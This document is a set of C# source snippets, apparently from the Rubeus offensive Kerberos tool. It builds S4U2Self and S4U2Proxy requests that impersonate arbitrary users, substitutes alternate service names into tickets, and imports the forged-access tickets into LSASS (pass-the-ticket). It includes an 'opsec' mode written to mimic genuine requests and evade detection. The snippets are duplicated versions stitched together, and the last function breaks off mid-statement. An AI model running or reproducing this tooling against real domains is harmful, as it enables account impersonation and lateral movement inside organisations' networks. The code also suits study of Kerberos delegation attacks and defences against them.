// maybe the function above can be combined with this one? public static byte[] NewTGSReq(string userName, string targetUser, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType, bool cross = true, string requestDomain = "") { // cross domain "S4U2Self" requests TGS_REQ req = new TGS_REQ(cname: false); // get domains string domain = userName.Split('@')[1]; string targetDomain = targetUser.Split('@')[1]; // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], providedTicket, clientKey, paEType); req.padata.Add(padata); // which domain is the "local" domain for this TGS if (cross) { if (String.IsNullOrEmpty(requestDomain)) { requestDomain = targetDomain; } req.req_body.realm = requestDomain; } else { req.req_body.realm = domain; } // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } PA_DATA s4upadata = new PA_DATA(clientKey, targetUser, targetDomain); req.padata.Add(s4upadata); req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE; req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW; return(req.Encode().Encode()); }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "") { TGS_REQ req = new TGS_REQ(); // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype); req.padata.Add(padata); // set the username req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = domain; if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain); req.padata.Add(s4upadata); req.req_body.sname.name_type = 1; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); } else { // add in our encryption type req.req_body.etypes.Add(etype); // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } } return(req.Encode().Encode()); }
// To request a TGS for a foreign KRBTGT, requires 2 different domains public static byte[] NewTGSReq(string userName, string domain, string targetDomain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType) { // foreign domain "TGT" request TGS_REQ req = new TGS_REQ(cname: false); // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType); req.padata.Add(padata); req.req_body.realm = domain; // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } PA_DATA padataoptions = new PA_DATA(false, true, false, false); req.padata.Add(padataoptions); req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add("krbtgt"); req.req_body.sname.name_string.Add(targetDomain); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE; req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW; return(req.Encode().Encode()); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]); // needed for authenticator checksum byte[] cksum_Bytes = null; // the rest of the opsec changes if (opsec) { // remove renewableok and add canonicalize s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; // 15 minutes in the future like genuine requests DateTime till = DateTime.Now; till = till.AddMinutes(15); s4u2proxyReq.req_body.till = till; // extra etypes s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if (hostName != targetHostName) { // authdata requires key and etype from tgs byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype; ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); ADKerbLocal kerbLocal = new ADKerbLocal(); ifrelevant.ADData.Add(restrictions); ifrelevant.ADData.Add(kerbLocal); AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); byte[] authorizationDataBytes = authDataSeq.Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes); s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data); } // encode req_body for authenticator cksum AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // moved to end so we can have the checksum in the authenticator PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); byte[] response2 = null; if (String.IsNullOrEmpty(proxyUrl)) { string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP); response2 = Networking.SendBytes(dcIP, 88, s4ubytes); } else { Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl); KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes); message.target_domain = domain; response2 = Networking.MakeProxyRequest(proxyUrl, message); } if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
// to perform the 2 S4U2Proxy requests private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false, string createnetonly = null, bool show = false) { string dcIP = Networking.GetDCIP(targetDomainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } string domain = userName.Split('@')[1]; string targetDomain = targetUser.Split('@')[1]; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController); TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false); PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; if (cross) { s4u2proxyReq.req_body.realm = targetDomain; } else { s4u2proxyReq.req_body.realm = domain; } string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (ptt && cross) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); return(kirbi); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false) { TGS_REQ req = new TGS_REQ(); // get domain from service for cross domain requests // if not requesting a cross domain TGT (krbtgt) string targetDomain = ""; string[] parts = sname.Split('/'); if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt")) { targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1); } else { targetDomain = domain; } // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType); req.padata.Add(padata); // set the username req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = targetDomain; // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain); req.padata.Add(s4upadata); req.req_body.sname.name_type = 1; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; } else { if (enterprise) { // KRB_NT-ENTERPRISE = 10 // userPrincipalName // sAMAccountName // sAMAccountName@DomainNetBIOSName // sAMAccountName@DomainFQDN // DomainNetBIOSName\sAMAccountName // DomainFQDN\sAMAccountName req.req_body.sname.name_type = 10; req.req_body.sname.name_string.Add(sname); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; } else if (parts.Length == 1) { // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); } else if (parts.Length == 2) { // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); } else if (parts.Length == 3) { // KRB_NT_SRV_HST = 3 // SPN (sname/server.domain.com/blah) req.req_body.sname.name_type = 3; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); req.req_body.sname.name_string.Add(parts[2]); } else { Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } } return(req.Encode().Encode()); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", Ticket tgs = null) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(); PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = 2; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new Interop.LUID()); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new Interop.LUID()); } } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, 